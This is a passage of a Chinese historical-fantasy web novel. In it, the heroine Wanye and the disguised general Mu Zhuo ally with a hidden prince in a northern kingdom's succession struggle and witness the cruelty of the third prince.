“你们干什么,放开!”菀楪把人推远,护在孩子身前,“你不是说一家必须一个吗,那我代替这个孩子去战场,可不可以?”
那胡子将军疑惑地看着菀楪,“我看你穿着整洁,长得又不像是我们这个地方的,以为你是
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哪个家族派过来分一杯羹的,怎么,你不是?”
菀楪屏住呼吸,她不能完全感受人类的情感,但她知道,自己要是说不,就会被抓走送到他说的那个楼。而且自己被抓走,这个孩子也不会因此被放过,所以菀楪咬牙,直接认了。
“是,我是他们派来的,但是我家主子重视名声,要是知道我帮助弱小,也会高兴的。”菀楪神色不改,生怕被看出什么破绽。
胡子将军诧异地看了看菀楪,又看了看那个孩子,像是不可置信,“帮助弱小,你是哪家的?”
菀楪心脏剧烈地跳动,只好编个理由,“我家家主不希望别人知道。”
却不料那将军沉默了一会,竟然同意了。
“你可以代替这个孩子上战场,但是你会记在他们名下,无法直接为你的家族获利。”胡子将军警示。
“没关系。”菀楪看着十分坚定,内心却是松了一口气。
“那跟我们走吧。”胡子将军示意他们把人扣下。
“等一下。”菀楪说道,她不知道这个人是真话还是假话,这几天出的事情太多,必须小心些。
“你还有什么事?”胡子将军很不耐烦。
“我给她们东西。”菀楪说着,一边警惕胡子将军和那些手下,一边把手里那件衣服递给女子,“这是你们的衣服,我,我受人之托,把她还给你。”
菀楪话到嘴边,还是转了个方向。女子身,被那些不知道是哪来的家丁惦记,还是别让她们知道了,到时候还要连累她们。
女子看到衣服显然怔了一下,不可置信地看着菀楪,嘴唇蠕动着像是要说什么,却还是放弃了。
“那我先过去了。”菀楪起身,却听见后面来了一句,“这件衣服的主人,她还好吗?”
菀楪顿住,她不会蠢到听不出来,“她很好,你不用操心。”
“磨磨唧唧的,你们把他扣下,赶紧带走!”胡子将军招了招手,颇有嫌恶地让人把菀楪抓走。
“大家族的子弟,居然会可怜别人,还要帮他们,也不知道你到时候丧命,她们会不会感激你!”胡子将军嗤笑一声,大步流星地离开,走到队伍前面去。
菀楪被押着,并不作答,回头看了看那对母子,眼神在衣服上停留片刻,变转回去。
远方人影渐渐消失,浩浩荡荡的队伍不断增加,伴随着鞭子的抽打声和官兵的怒斥,隐约还有哀嚎和求饶。
天空欲压,黑沉沉地看不到阳光,整个世界笼罩在一种窒息的氛围里。
跪在地上的女子来不及擦拭嘴边的血,就把孩子抱在怀里仔细安慰,眼泪顺着脸庞划滑下来,浓浓得全是苦涩。
许久,她才把孩子抱到屋子里,盖着破絮的被子,把他哄睡着。
等到拿走那衣服的时候,才发现里面放了东西,天光大暗,什么也看不清,不过她还是依稀辨认出那是几块银子,数量虽然不多,却能够她勉强活到明年春天。
山林衰败,冬天极为难熬,每年因此饿死的人不再在少数。女子握着手中的银子,觉得烫手至极,就像是快要冻死的时候握到的火炭。
那一刻,她再也绷不住,跪在地上痛哭起来。
66. 你到底谈不谈?
“哎,二位,我并无恶意。”话音未落,从旁边一处阴暗的角落,缓缓走出一个身着黑衣的人。
此刻,临近暮色,月光洒下,那身黑衣竟与月色完美相融,怪不得之前难以察觉他的存在。
纷飞的雪花在他身旁飘落,却好似刻意避开,不愿沾染他分毫。
“你是何人?”宛楪秀眉微蹙,眼中满是警惕。
不知这人究竟听到了多少,又在此处潜伏了多久?
这荒郊野岭,突然冒出这么个人,实在让人心里发毛。
“尊敬的神女,我真的没有恶意,若您不信,大可以问问旁边这位。”
黑衣人的目光带着几分讨好,在宛楪和慕酌之间游移。
宛楪心中疑惑,将探寻的目光投向慕酌。
“李主簿,许久不见啊。你不在陛下身边当好你的天子近臣,却跑到这儿偷听我们谈话,所为何事?”
慕酌语气中带着一丝警惕,眼神紧紧盯着眼前的李琰。
李琰轻轻摆了摆手,目光偷偷朝宛楪瞥去,心中暗自惊叹。
眼前的神女与往昔几乎毫无相似之处……
随即,他赶忙将目光移回慕酌身上,“慕商,自上次宫殿一别,你与神女不慎掉入大坑,之后便再没见过你。我也是恰巧在此处散步,才偶然遇见你们。”
说着,他抖落肩头的雪花,似乎想借此掩饰自己的心虚。
“不知你这两三天里,可遇到了什么事?为何不去皇室向陛下汇报呢?”李琰话锋一转,看似关切地问道。
慕酌皮笑肉不笑,嘴角微微上扬,却未达眼底,
“哪里哪里,这不是一直昏迷着,才刚醒过来,还得多谢神女出手相助。”
说罢,他做出一副向宛楪行礼的模样,动作看似恭敬,眼神却向宛楪传递着隐晦的信息。
宛楪此刻尚未摸清状况,只能暂且配合慕酌,“这位不必客气。”
她的眼神中带着探究与警告,自己虽配合,但对这突如其来的状况充满疑虑。
“不过,你究竟是何时出现在这儿的?”
宛楪看向眼前这个与慕酌似有几分熟稔的陌生人,带着几分试探轻声询问。
李琰听闻此言,嘴角勾起一抹揶揄的笑,目光有意无意地在宛楪身上打转,
“就从你说这个人长得太过好看,让你有些无法自拔的时候。”
宛楪顿时尴尬不已,脸颊微微泛红,目光下意识地投向眼前那片白皑皑的雪地,一时不知该如何回应,只能选择沉默。
“不知李主簿为何会出现在此地?说是遛弯儿,恐怕难以让人信服吧。”
慕酌的声音再次响起,带着一丝不容置疑的质问,
“据我所知,李主簿因护驾有功,近来颇得陛下青眼。如此受宠的臣子,不在宫中好好侍奉,却跑到这荒郊野岭,究竟所谓何事?”
“慕兄说笑了,我不过是心情大好,出来走走。我还担心慕兄看到什么不该看的东西,现在看来,倒是我多虑了。”
李琰皮笑肉不笑,目光再次落在宛楪身上,刻意将最后三个字咬得很重,眼神在两人身上来回游移,仿佛洞悉了什么不可告人的秘密。
慕酌下意识地将宛楪拉到身后,挡住视线,“这有何奇怪的,不过是找错了人罢了。”
李琰轻轻摇了摇头,眼神中透着一丝狡黠,“慕兄可莫要这么说。你也清楚,皇帝陛下如今痴迷长生之术,尤其是你带来的那些仙人的消息,对他而言意义重大。你若是质疑我们国家选出的神女,恐怕此事难以善了。”
两人站在原地,表面上每句话都说得谦卑有礼,可话语间却处处充满了火药味,彼此试探、警告。
“好好好,李主簿果然伶牙俐齿。不知李主簿此刻还有何事?总不至于因为我与神女相识,便要降罪于我吧。”慕酌微微眯起眼睛,眼神中闪过一丝寒意。
李琰神色复杂地看了宛楪一眼,“慕兄,别怪我没提醒你。”
“什么?”慕酌眉头紧皱,心中涌起一股不祥的预感。
“虽说大皇子变成了怪物,但朝中仍有不少势力支持他。这股势力不容小觑,若是他们查出,究竟是谁动的手脚……”
李琰故意拖长语调,目光紧紧盯着慕酌,试图从他脸上捕捉到一丝破绽。
慕酌嘴角微微咧开,露出一丝微笑,却透着彻骨的寒意,
“李主簿这话是什么意思?在下实在听不懂。皇子之事,我们也深感遗憾,北国痛失如此优秀的皇子,实乃不幸。但我坚信,陛下定会重振旗鼓,您说对吧?”
说完,他略带挑衅地扬了扬下巴,眼神中满是不屑。
即便眼前这人能察觉到什么蛛丝马迹,怀疑他对北国大皇子动了手脚,致使其变得狂躁,可又有谁会信呢?
毕竟他带来的那些所谓与长生相关的东西,对皇帝而言,可是极具吸引力……
李琰见状,随即露出一个看似和蔼的微笑,“慕兄,你瞧,我也没说什么。说起来,我还是朝中三皇子一脉的人呢。”
慕酌听闻,眉头狠狠皱起,眼中瞬间闪过强烈的警惕,“李主簿这话何意?在下只是个商人,向来只听天子的话罢了。”
宛楪早就察觉到两人之间剑拔弩张的火药味,只是她对人类的这些弯弯绕绕实在摸不着头脑,此刻只能选择闭嘴,以免说错话。
然而,当听到慕酌自称只是个商人时,她还是忍不住微微挑了下眼睛,心中暗自思忖,这就变成商人了?
看来她昏迷的时候发什么很多事情……
“我没别的意思,对了慕兄,我记得你在宴会离席时说要去拿神物,不知这神物如今在何处啊?毕竟慕兄失踪了好些时日,找个神物需要这么久吗?”
“还是说,去了什么不该去的地方……”
李琰步步紧逼,几乎句句挖坑,目光如鹰隼般灼灼地盯着慕酌。
宛楪听得一头雾水,只能选择沉默,心里默默祈祷这场风波赶紧过去。
慕酌却不慌不忙,从口袋中掏出一个锦木盒子。
那盒子质地温润,上面绣着精致的金色丝线,勾勒出繁复的花纹。挂饰的玉佩雕成了栩栩如生的龙纹形状,在月光下流光溢彩,一看便知价值不菲。
“这便是我要找的神物。”慕酌一边说着,一边缓缓打开盒子。
刹那间,盒子里散发出七色斑斓的白色荧光,在这雪夜中显得格外耀眼。盒子中心,静静躺着一个漂亮的花瓣,通体散发着银色光芒,只是看着,便让人觉得心旷神怡。
“这是?”李琰忍不住向前走了两步,凑近仔细端详。一旁的宛楪看到这花瓣,不禁抽了抽嘴角。
“这是南国著名的,能生死人肉白骨的神药,时令花。”慕酌不紧不慢地介绍道。
听到这个名字,宛楪忍不住咳嗽了一声,这一咳引得二人纷
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纷侧目。
“怎么了?”慕酌脸上露出关切之色,轻声询问。
“没什么,只是看着这宝物,一时……看呆了……”
宛楪赶忙解释,心里却暗自腹诽,就知道这人没安好心,这不就是自己给他的那个花瓣吗?
而且这名字也实在是……哎,早知道当初起名字的时候,就该据理力争。
宛楪在心里暗暗叹了口气,不过她也发现,锦木盒子中的花瓣并非她赠予慕酌的那片。
这锦木盒子采用了上好的木料,能让里面的花瓣经久不衰。
她记得,这是她在全盛时期用法力凝聚出来的,品质显然比她为保险起见放在自己身上的那片更高。
宛楪心中疑惑,不禁多看了慕酌几眼。
在南国,这东西堪称有市无价,就连皇室都鲜有人知晓,毕竟它太过珍贵,容易惹来麻烦,所以她一般不会制作太多。
如今慕酌能毫不犹豫地拿出来,看来他身份绝非普通商人那么简单。
宛楪看着慕酌的脸,一时有些出神,直到耳边传来一句,“我有那么好看?”
这句话瞬间将宛楪拉回现实,她刚想反驳,却突然想起之前自己说过的话,顿时像哑巴吃黄连,有苦说不出。
“我没看你,我看这位大人。”宛楪赶忙解释道。
慕酌不可置信地挑了挑眉,看了李琰一眼,“他有我好看?”
李琰听懂这话,停下旁敲侧击地试探了,“不是,你说什么呢?我好歹也是北国排名前五的美男子,你可别太自信了好吧!”
两人仿佛瞬间忘了之前互相试探身份和目的,此刻像两个幼稚的小孩一般,争论起到底谁更好看。
“神女都说了,她在看我。虽说你也好看,但比起我,还是略逊一筹,毕竟是我们国家的神女嘛。”李琰得意洋洋地说道。
慕酌感觉一口气堵在胸口,上不来下不去,忍不住怨恨地看了宛楪一眼。
宛楪一脸无辜:|?°?°?)??
“难不成慕兄你对我国神女有意呀。”李琰突然话锋一转,戏谑地说道。
宛楪瞬间瞪大了眼睛:︽⊙_⊙︽!
慕酌有些不自在地眨了眨眼睛,“我……我没有,是她……”
想到宛楪非礼自己却拒不承认,还借口失忆,自己又拿她毫无办法,刚才那股闷气又涌了上来。
“你怎么知道她是女的?”慕酌突然问道。
李琰听到这话,像看傻子一样看着慕酌,“神女,神女,不是女的还能是什么?”
他吸了一口冷气,“不是慕兄,你不至于这么快就被我们北国这种喜好男色的风气给影响了吧?我记得你之前跟我说你是……”
“够了!”慕酌羞愤交加,耳朵都染上了一层薄红,“咱们不如说说,你是三皇子一脉的人……”
这回轮到李琰戏谑地看了两人一眼,带着些吃惊和不可置信,“噢,是这样啊,哎呀,这……”
“你到底谈不谈?”慕酌此刻心烦意乱,不知该如何形容自己现在的心情,非礼自己的人不认账,莫名其妙变成女生还失忆。
现在与其让这个人继续编排,不如跟这人摊牌,反正自己也打算与他合作。
但是,慕酌还是回头狠狠瞪了宛楪一眼。
宛楪还没搞清楚状况,看到前面的人瞪自己,立刻狠狠剜了回去。
(╬??皿??)!
67. 摊牌
寒风凛冽,雪花如鹅毛般纷纷扬扬地飘落,将整个世界装点得银装素裹。
在这片洁白的天地间,李琰缓缓开口,“我来,便是做三皇子的说客,慕兄可有做天子近臣的想法?我倒是可以给你引荐引荐。”
慕酌听闻,脸上浮现出一抹嘲讽的笑容,嗤笑一声道:“李主簿,你似乎不太坦诚啊。你说要助力三皇子夺位,可你内心当真是这么想的?”
李琰眼神瞬间锐利如鹰,毫不留情地审视着慕酌,语气带着一丝强硬,“为主子分忧本就是我们臣子的分内之事,慕兄这话,我着实听不懂。”
慕酌不慌不忙,目光沉稳地看着李琰,缓缓说道:“上次在皇宫初次见面,我便留意到你身边的护卫身手不凡,绝非普通臣子能够配备。尤其是他伸手欲攻击我时,我瞧见他手上有一个刺青,像是……”
“够了!”
李琰的表情瞬间变得极不淡定,心中暗自吃惊。
皇子侍卫自幼便会在手上纹上龙腾图案,当年青木与自己一同从悬崖坠落,所幸二人都捡回了一条命。
没想到眼前这人竟知晓皇室这般隐秘之事,看来自己着实是低估他了。
“慕兄究竟都知道了些什么?”
李琰下意识地将手放到背后藏着的迷雾弹上,眼神中满是警惕与决绝,仿佛下一秒便要采取行动。
慕酌见状,微微一笑,不紧不慢地说道:“我对谁能成为最后的胜利者并不感兴趣。但既然无论如何都会有人登顶,那这个人为何不能是你呢?”
他微微一顿,继续道,“李主簿,哦不,或许该称呼你为皇子殿下。你放心,我并无恶意。"
“我不过是个走南闯北的商人,这皇帝是谁,于我而言并无太大差别。但与你相处下来,我倒是更看好你。”
李琰嘴角微微一动,似笑非笑地说道:“也是,南国大名鼎鼎的慕酌,慕将军,竟屈尊降贵来到我们北国,打着所谓商人的幌子,接近当今皇帝陛下,可谓是煞费苦心啊。”
慕酌微微一怔,不着痕迹地看了宛楪一眼,心中暗自思忖李琰对自己的了解程度,嘴上却说道:“看来李主簿已经将我的底细摸得一清二楚了。不过我倒是好奇,当今皇帝陛下所记录在册的皇子,无非是大皇子、三皇子,还有那位避世不出的二皇子。”
“你,难道是那位二皇子?”
李琰微微一顿,眼中闪过一丝复杂的神色,随即说道:“看来慕兄还是未能将我的底细彻底翻出。不如这样,咱们合作吧。我想你前来北国,无非是想结束前线的战事。倘若我登上皇位,我保证边疆五十年不会再有动乱。”
慕酌听闻,罕见地沉默了下来。他望着漫天飞雪,思绪似乎飘得很远。
过了许久,他缓缓开口道:“好啊,不知李主簿有何所求?”
李琰微微皱眉,脸上露出一丝忧虑,“我那三哥生性多疑,最近不知从何处得了些消息,在皇帝面前煽风点火,似乎打算将大哥那一派势力连根铲除,这对我而言极为不利。所以,必须得让大哥再多活些时日。”
慕酌微微皱眉,疑惑道:“三哥?”
他目光审视着眼前的李琰,心中暗自思索,看来北国皇室的秘密远比自己想象的要复杂,就连自己精心培养的影卫和侍从都未曾查出这些隐秘。
不过,只要眼前这人的目的与自己一致,其他的倒也无关紧要。
就这样,上一秒还要杀了对方的人就这么心平气和地开始谈合作。
白雪皑皑中,三个人,彼此都是合作伙伴。
“没错,便是当今三皇子,也算是我三哥。”
李琰叹了口气,目光不经意间落在慕酌身后的宛楪身上。
只见宛楪微微蹙眉,正认真思考着什么。
他抬手打了个招呼,脸上带着一抹笑意,“神女姐姐,有空来皇宫玩啊,我们……”
慕酌不着声色地侧身,将宛楪挡在身后,目光直直地看着李琰,“你直接说,需要我做什么?”
李琰见状,目光变得促狭起来,带着几分调侃看着慕酌。
“没什么,没什么。我已派人匿名给三哥送去一份好玩的东西,现在我需要你帮忙把大皇子的生母从冷宫之中捞出来。”
“朝堂上虽有不少人听我的,但在名声这方面,还得多仰仗你这位深得皇帝信任,且带着神物的商人了。”
说完,他的眼睛不自觉地瞟向慕酌手中那个精致的锦木盒子,“这东西,真的是所谓的神物?莫不是你们南国的什么稀世宝物吧?”
此刻,两人经过一番试探,已心照不宣,倒也无需再遮遮掩掩。
慕酌微微一笑,坦然道:“不是啊,这东西千真万确是神物,能生死人肉白骨,助长生又有何不可呢?”
“这等好东西给那老不死的,实在是可惜了。”
李琰故作惋惜地叹了口气,眼睛却滴溜溜一转,脑袋微微一偏,
“那我便先行一步了。我对慕兄的能力可是深信不疑,神女姐姐,后会有期!”
看着慕酌立刻将宛楪护在身后的动作,李琰眼中闪过一丝笑意,随即将其藏了回去。
有意思。
“那就这样,我回去让宫里的人透透风,我想慕兄一定会全力帮我的。我都觉得,想让大哥活下去的,可不只是我一个人……”
李琰话未说完,点到为止,转身踏入那漫天飞雪中,留下一个渐行渐远的背影。
看着李琰远去,宛楪带着满心疑虑走上前,“他究竟是谁?现在又是怎样的情况?”
却不想旁边的慕酌冷冷地冒出一句,“他好看?”
宛楪一时没反应过来,下意识地回了句,“啊,是……”
“他不好看!”慕酌咬着牙说道。宛楪转过头,吃惊地瞪大了眼睛,看着眼前这个竟为了谁好看的问题而“斤斤计较”的人,心中一阵无语。
“啊,是是,他,他不好看。”宛楪无奈地叹了口气,实在没心思与他争辩这些,“所以他到底是谁?究竟发生了什么事儿?”
慕酌看着宛楪,神色变得认真起来,缓缓说道:“他是我在北国皇室宴会上遇见的。起初,他只是以臣子的身份出现,后来我经过一番仔细调查,发现他与皇室有着极为密切的联系。”
慕酌微微顿了一下,似在回忆当时的情景,“再加上北国会在皇子贴身侍卫手上纹上特殊图案,我便猜测这其中定有皇室间的勾心斗角。我本以为他就是那位避世不出的二皇子,但从他刚才的称呼来看,似乎并非如此。至于他到底是谁,或许日后自会知晓。”
宛楪轻轻点了点头,“你们口中所说的大皇子,是不是就是那个……”
慕酌接口道:“没错,就是一开始中了赤炼蛊,后来又背叛我们,声称自己种的是赤魔蛊的那个人。咱们将他的尸体放入城中,还未来得及处理,便遭遇了药人。"
"不过那时已经有人通风报信,想必北国已将皇子接了回去。他那次出现在宴会上,整个人形如一只狰狞的怪物。我派人在他的必经之路上撒了能够增强赤魔蛊影响的药粉。”
宛楪心里惊讶一下,面上不显,果然是一个心狠手辣不择手段的人。
慕酌摸了摸下巴,若有所思地说道,“不过,看样子有不少人都盼着他死,包括你刚才见到的那位,所谓‘不好看’的人。”
宛楪仔细聆听着,眉头微蹙。
听到此处,慕酌停顿下来,等她消化这些信息。
宛楪反应过来后,忍不住翻了个白眼,心中暗道:真幼稚。
一个冷酷无情的上位者也会这么在乎自己的容貌。
宛楪挑了挑眉,不过自己
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和他也是互相利用,以后也只是分道扬镳,就不先不管这些了。
“想必他也对大皇子动了手脚,恐怕大皇子时日无多了。”慕酌继续说道。
宛楪点头,脸上浮现出一丝惋惜之色,“真可惜呀,难道北国就无人能救他吗?你拿出那朵,呃,时令花,是为了救他吗?”
慕酌眼神变得有些复杂,凝望着远处连绵的雪山,缓缓说道:“可惜,这北国确实无人能救他。每个人都妄图利用他来为自己谋取利益。你还记得我曾跟你说过,这蛊很可能是他亲近之人所下吗?”
“嗯。”宛楪点了点头,眼中满是疑惑,“你查出是谁了?”
慕酌抿了抿嘴唇,神色凝重地说道:“大致查出了些眉目。之前听闻小道消息,说是皇帝下的蛊。如今来到北国,又听到一些风声,这蛊,怕是他的母妃所为。”
“什么?”
宛楪眼睛瞪得老大,好看的桃杏眼中满是震惊,在寒冷的空气中,睫毛上不知不觉沾上了一些细小的水珠,“他的母亲?那对他而言,确实太过绝望了。人类居然可以……”
“嗯?”慕酌轻声询问,看着宛楪欲言又止的模样。
“没什么。那你查出来那些药人是怎么回事了吗?”宛楪赶忙转移话题。
慕酌无奈地摇了摇头,“还没有。北国的局势远比我们想象的要复杂。刚才咱们出来的地宫,你或许不记得了,那里有一个巨大的铜炉,还有一些四肢怪异的女子,想必那些便是炼药人的材料。”
宛楪努力回忆着自己清醒后救出慕酌的过程,没错,她确实看到了那些令人毛骨悚然的怪物。
“那接下来该怎么办?”宛楪看着慕酌,眼中透露出一丝担忧。
“根据刚才那人所说,咱们先想办法把那位身处冷宫的,也就是大皇子的生母救出来。”
慕酌叹了口气,神色略显疲惫,“你有所不知,南国和北国的战事已发生逆转。南国之前沦陷的所有城市都已被夺回,而北国在接连失去好几座城市,一路败退至首都的情况下,如今想要求和。”
宛楪微微一怔,眼中闪过一丝惊喜,她想起自己时常梦到百姓流离失所的惨状,不禁说道:“那不是很好吗?”
慕酌却摇了摇头,神色严肃地说道:“打仗并非他想停就能停的。不过是利益相悖罢了。就算这么说,也不是真心,不过是缓兵之计。”
“北国一开始对南国发动伏击,却没料到战败。战败之后,他们的第一反应便是割地赔款。”
“你怎么知道这些?”宛楪看着慕酌,眼中满是好奇。
“我不是假扮成商人,混进了皇宫的宴会嘛,这些都是在宴会上听到的。他们北国虽有人主战,但大多数都是贪生怕死之辈。”
慕酌无奈地摇了摇头,“恐怕只是一群乌合之众,被说服去打仗,却从未想过战败的后果。”
宛楪沉默了下来,其实她内心深处更希望这些战事能够早日平息,这样便不会有那么多人因为战争而家破人亡,还有……
宛楪的睫毛微微颤动,她不禁想起了阿已,那个年仅五岁的孩子,却被所谓的宗室血亲认领回去。
再次见到他时,阿已似乎已没了从前的天真活泼,眼神中满是与年龄不符的忧郁……
“你在想什么?”慕酌抬手轻轻挥了挥,打断了宛楪的思绪。
“没什么。那需要我怎么做呢?继续扮演这北国的神女吗?”宛楪回过神来,看着慕酌问道。
慕酌微微停顿了两秒,目光在宛楪身上扫视一圈,“你到底是怎么变成女生的,还记得吗?”
宛楪挑了挑眉,下意识地咽了一口水,“不知道啊。不是有句话叫既来之则安之吗?既然变成了女生,那就这样吧。”
慕酌有些不可置信地看着宛楪,“你倒是适应得挺快。”
68. 三皇子
“真是好大的胆子,竟敢在我面前耀武扬威!”
大哥还真是一如既往的愚蠢,我不是都处理得妥妥当当了吗?怎么还会让人查出来!”
李玄怒不可遏,猛地将桌子上的物件一股脑扫落在地,瓷器破碎的声音在寂静的室内格外刺耳。
他双眼圆睁,如同一头被激怒的野兽,目光死死锁视着眼前那个瑟瑟发抖的幕僚。
“三皇子殿下息怒啊!”
幕僚扑通一声跪地,声音颤抖得如同秋风中的残叶,“可能是我们的人一时疏忽,毕竟百密终有一疏……”
“百密一疏?”
李玄气得满脸通红,额头上青筋暴起,重重地一拍桌子,桌上的茶杯都跟着弹跳起来,
“在这等关键的时刻,你居然跟我说疏忽?你们要是不想干了,就赶紧自个儿把脑袋摘下来,省得在这儿碍眼!”
“三皇子。”这时,旁边传来一声苍老且沉稳的声音,一只干枯的手轻轻搭在了李玄的肩膀上。
此人正是李玄的舅父,他微微皱眉,眼神中透着一丝忧虑,“此刻生气也无济于事,他们都是你的人,要杀要罚那也是以后的事。当下最要紧的,是赶紧想办法别让皇帝知晓此事。”
李玄嫌弃地瞥了一眼自己的手下,又转头看向舅父,眼中满是不甘,
“舅父,你说好不容易到了这夺位的关键时刻,大哥不知抽了什么疯,竟变成了那副模样,我本以为这皇位已然唾手可得……”
“三皇子,你要沉住气。”
话未说完,便被舅父接过,“不论对方打的什么算盘,大皇子如今已然是个废人,竟敢当众行刺圣上,他与皇位早已无缘。”
“对方让你把那位冷宫的贵妃放出来,不过是困兽的最后挣扎罢了。”
“舅父所言极是,就凭她一个女子,又能掀起什么风浪!”
李玄冷哼一声,脸上露出一丝不屑。
舅父轻轻拍了拍李玄的肩膀,神色凝重地说道:“你可别小看她。当初若不是她真心喜欢皇帝,再加上她家族全力护着她,咱们设计的那一连串圈套,她又怎会上当,她背后的势力又怎会那般轻易瓦解。”
“即便如此,她的孩子至今都能与你相互制衡。如今大皇子虽已废,但却有人拿你做的那些事威胁你,要把她捞出来……”
“舅父,”三皇子急切地转头,眼神中带着一丝狠厉,殷切地看着眼前的人,“不如我们派人在冷宫将那女人杀了!”
舅父微微摇头,眼神中透着一丝狡黠,“就怕那些人狗急跳墙。你赶紧派人把那些证据该处理的处理掉,至于那个女人,你就按照约定把她捞出来。不过,捞出来的人是死是活,那就不是咱们能保证的了。”
“是,舅父。”
李玄恭敬地应道,随后恶狠狠地看向地上跪着的幕僚,“你们还愣着干什么?还不快去办!”说罢,狠狠一脚踹在幕僚身上。
李玄与舅父在大厅商议完对策,心中的怒火却丝毫未减。
他迈着大步,气冲冲地从大厅往庭院走去,嘴里还不停地低声咒骂着:“真是一群废物,这点事都办不好,关键时刻竟给我掉链子!”
舅父在一旁跟着,微微皱眉,轻声劝道:“殿下,暂且消消气,当务之急是处理好眼前的麻烦。”
李玄不耐烦地挥了挥手,“舅父,我怎能不气?眼看到手的皇位,就因为大哥那蠢货和这些成事不足败事有余的家伙,又生出这么多波折!”
两人穿过长长的回廊,来到了庭院。
庭院中,冬日的寒风呼啸而过,吹得人不禁打了个寒颤。
李玄仍在喋喋不休地抱怨着,“哼,等我登上皇位,定要将这些没用的东西统统铲除!”
就在这时,一名丫鬟端着茶水,小心翼翼地从一侧走来。
她本就听闻了皇子的怒火,此刻更是吓得脸色苍白如纸,脚步也愈发慌乱。
三皇子看着自己府中的人来气,随手踹翻了一旁的花盆。
花盆碎裂,飞溅到丫鬟身上,划伤了她的眼睛,一个踉跄,手中的茶盏倾斜,滚烫的茶水直直地洒落在李玄的衣袖上。
李玄先是一怔,随即双眼圆睁,怒喝道:“你这贱婢,好大的胆子!”
“你干什么吃的,不会走路是吗?”
丫鬟吓得“扑通”一声,直接跪在了满地的碎瓦片中间。
这些碎瓦片是之前李玄盛怒之下摔砸器物所留,尖锐的边角在黯淡的光线下透着寒意。
李玄此人,残暴之名在府邸内外可谓是无人不知、无人不晓。
平日里,他的情绪就如六月的天气,说变就变,稍有不顺心,下人便会成为他发泄怒火的对象,非打即骂乃是家常便饭。
丫鬟深知自己犯下了大错,吓得浑身颤抖,不断地磕着头,额头与尖锐的瓦片猛烈撞击,发出沉闷的声响。
嘴里连声求饶:“皇子殿下饶命!皇子殿下饶命!”
那声音带着哭腔,在空旷的厅堂内回荡,显得格外凄惨。
不过眨眼间,丫鬟的额头便被划破,鲜血汩汩流出,顺着脸颊滑落,滴在洁白的地砖上,洇出一朵朵可怖的血花。
她的手掌也未能幸免,在支撑身体时被瓦片割破,殷红的血迅速染红了手掌,与白色的地砖形成了鲜明而又惊悚的对比。
然而,李玄却丝毫没有怜悯之色,他居高临下地看着丫鬟,眼神冰冷而又厌恶,仿佛眼前之人只是一只微不足道的蝼蚁。
“看着就碍眼,带下去杀了。”
李玄厌恶地挥了挥被茶水弄脏的衣袖,仿佛那丫鬟是什么令人作呕的脏物,
“真是晦气,好不容易大哥那边要倒台了,我却还是不能顺利登上皇位,你们这些人都该杀!”
北国的冬天尽显萧索。庭院里,几棵光秃秃的树木在寒风中瑟缩,树枝扭曲着,像是痛苦挣扎的手臂。
“这也太过分了!”
宛楪忍不住压低声音,愤慨地说道,她的双眼瞪得滚圆。
那名可怜的丫鬟在碎瓦片上磕头求饶的模样,像一把尖锐的钩子,狠狠地刺痛
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了她的心。
而慕酌微微皱眉,神色平静中带着一丝无奈,似乎对这样的场景已然司空见惯。
他轻轻叹了口气,目光中透着几分冷峻,轻声说道:“在这乱世之中,这般景象又岂是个例。”
他轻轻拉了拉宛楪,示意她不要过于激动,以免暴露。
地上枯黄的落叶被风卷得四处纷飞,发出沙沙的声响,仿佛在为这残酷的一幕悲叹。
“这三皇子实在是太过分了!一个小小的失误,何至于此?怎能如此草菅人命!”
她压低声音,却难掩语气中的愤慨。
生命本就该被珍视,如此残暴地对待一个无辜的丫鬟,实在令人发指。
天色阴沉得厉害,铅灰色的云层沉甸甸地压在头顶,似乎随时都会压下来.
这一幕,恰似一场残酷的戏码,恰好被前来打探消息的慕酌和宛楪瞧见。
两人悄然躲在一侧的阴影里,心中皆五味杂陈,慕酌看向宛楪,接着道:“你说,究竟是大皇子中了蛊之后的残暴,还是这三皇子本就恶劣的为人,更让百姓民生痛苦?”
这庭院中的寒风,愈发猛烈地呼啸着,将两人的对话吹散在风中。
宛楪思索片刻,缓缓说道:“大皇子中蛊后失了心智,行为残暴或许并非他本意。但这三皇子,心狠手辣,视人命如草芥,实在可恶。可要说谁更让民生痛苦,还真是难以评判。”
兴亡,百姓苦。
两人一番讨论,终究无果。
慕酌看着宛楪,半开玩笑半认真地问道:“难道你还想着拯救天下苍生不成?”
宛楪微微一怔,眼神中闪过一丝憧憬,含糊地说道:
“万一有一天,真能实现所谓的天下大同,让百姓免受战乱之苦,又何尝不是一件令人开心的事呢。”
远处的山峦一片死寂,被岁月剥去了色彩,只留下一片灰暗。
两人相顾无言。
慕酌叹了口气,说道:“走吧,这里没什么好看的,没什么有用的信息。”
宛楪与慕酌并肩走着,脚下的雪地发出“咯吱咯吱”的声响。她心思还沉浸在方才三皇子的恶行之中,不经意间抬起头,目光扫向天边。
只见天边的云彩层层叠叠,像是被一只无形的大手随意揉皱后又肆意铺展。
那些云彩,边缘并不规则,有的地方像是被利刃切割过般参差不齐,透着一种诡异的尖锐感。颜色也非平日里所见的洁白或浅灰,
而是呈现出一种奇异的铅灰,仿佛被浓重的阴霾所笼罩,带着压抑与沉闷。
她隐隐觉得,这云彩的形状和排列似乎暗藏某种规律,却又难以捉摸。
那团云彩的轮廓,看似杂乱无章,可仔细端详,竟好似一张扭曲的人脸,在天幕中若隐若现,让人无端生出几分寒意。
宛楪微微眯起眼睛,试图将那奇怪的感觉梳理清晰,脑海中如一团乱麻,却怎么也想不起来究竟是哪里奇怪。
她的脚步不自觉地慢了下来,眉头紧紧皱起,陷入了深深的沉思。
69. 陷害皇子
北国的冬日,枯枝仿若嶙峋白骨,突兀地刺向苍穹。
翌日早朝,李琰脚步匆匆,疾步入殿。途经慕酌身旁时,他微微侧身,压低声音道:“明日早朝,留一手,让他觉得我们仍有所忌惮。”
慕酌微微点头,眸光沉静深邃,仿若幽渊。
朝堂之上,群臣仿若心怀鬼胎的弈者,各怀心思,眼神交错间,锋芒毕露如刀锋相向。
有人一心欲保三皇子,眼神中透着忠诚与坚定;有人则早已暗中蓄力,只待时机成熟,便发动攻势。
“这便是微臣与陛下提及的神物,此花可生死人肉白骨,恳请陛下明鉴。”朝堂上,慕酌双手高高举着那个精致漂亮的锦木盒子,神色恭敬,缓缓奉上。
此刻,朝堂气氛热烈。皇帝满脸笑意,眼中尽是欣慰之色,高声道:“今日之事,你办得极为出色,朕心甚悦。来人呐,重重有赏!”
慕酌赶忙跪地谢恩,言辞谦逊:“陛下圣明,微臣不过是略尽绵薄之力,能获陛下赏识,实乃微臣莫大的荣幸。”
